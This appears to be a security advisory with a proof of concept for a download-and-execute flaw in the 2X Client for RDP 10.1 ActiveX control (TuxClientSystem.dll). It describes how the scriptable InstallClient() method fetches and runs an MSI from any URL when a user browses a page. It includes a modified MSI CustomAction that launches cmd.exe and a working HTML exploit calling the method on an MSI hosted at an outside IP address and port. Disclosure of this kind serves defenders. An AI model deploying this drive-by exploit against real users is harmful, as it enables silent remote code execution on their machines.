2X Client for RDP 10.1.1204 ClientSystem Class ActiveX Control
TuxClientSystem.dll InstallClient() Download and Execute
Vulnerability
tested against: Microsoft Windows Vista SP2
Microsoft Windows Server 2003 r2 sp2
Internet Explorer 8
vendor description:
"2X Software is a global leader of desktop and application delivery,
remote access and cloud computing solutions."
2x homepage: http://www.2x.com/
download url: http://www.2x.com/rdp-client/windows-linux-mac/downloadlinks/
file tested: 2XClient.msi
Background:
the mentioned product installs an ActiveX control with the following
settings:
ProgID: TuxClientSystem.ClientSystem.1
CLSID: {F5DF8D65-559D-4b75-8562-5302BD2F5F20}
Binary path: C:\Program Files\2X\Client\TuxClientSystem.dll
Implements IObjectSafety: True
Safe for Scripting: True
Safe for Initialization: ?
According to the IObjectSafety interface this control is Safe
for Scripting, then Internet Explorer will allow the scripting
of this control.
Vulnerability:
...
/* DISPID=2 */
function InstallClient(
/* VT_BSTR [8] [in] */ $msiPath,
/* VT_I4 [3] */ $bFullInstallation
)
{
/* method InstallClient */
}
...
The first argument of this method accepts a file location on the
internet. By supplying the url of a .msi installer, the mentioned
control will download and execute the file without no user
interaction other then browsing a web page.
To demonstrate this vulnerability I modified an
existing standalone msi installer through free availiable tools
by replacing a CustomAction row with the following values:
Action Type Source Target ExtendedType
Run 226 SystemFolder.98CB24AD_52FB_DB5F_FF1F_C8B3B9A1E18E """cmd.exe"" /c start calc" <null>
As attachment:
9sg_2x.html - host on a web server and change the position of x.msi
then browse this page
POC:
<!-- 2X Client for RDP 10.1 ClientSystem Class ActiveX Control TuxClientSystem.dll
InstallClient() Download and Execute Vulnerability PoC
-->
<!-- saved from url=(0014)about:internet -->
<html>
<object classid='clsid:F5DF8D65-559D-4B75-8562-5302BD2F5F20' id='obj' />
</object>
<script>
obj.InstallClient("http://192.168.2.101:4444/x.msi",1);
</script>
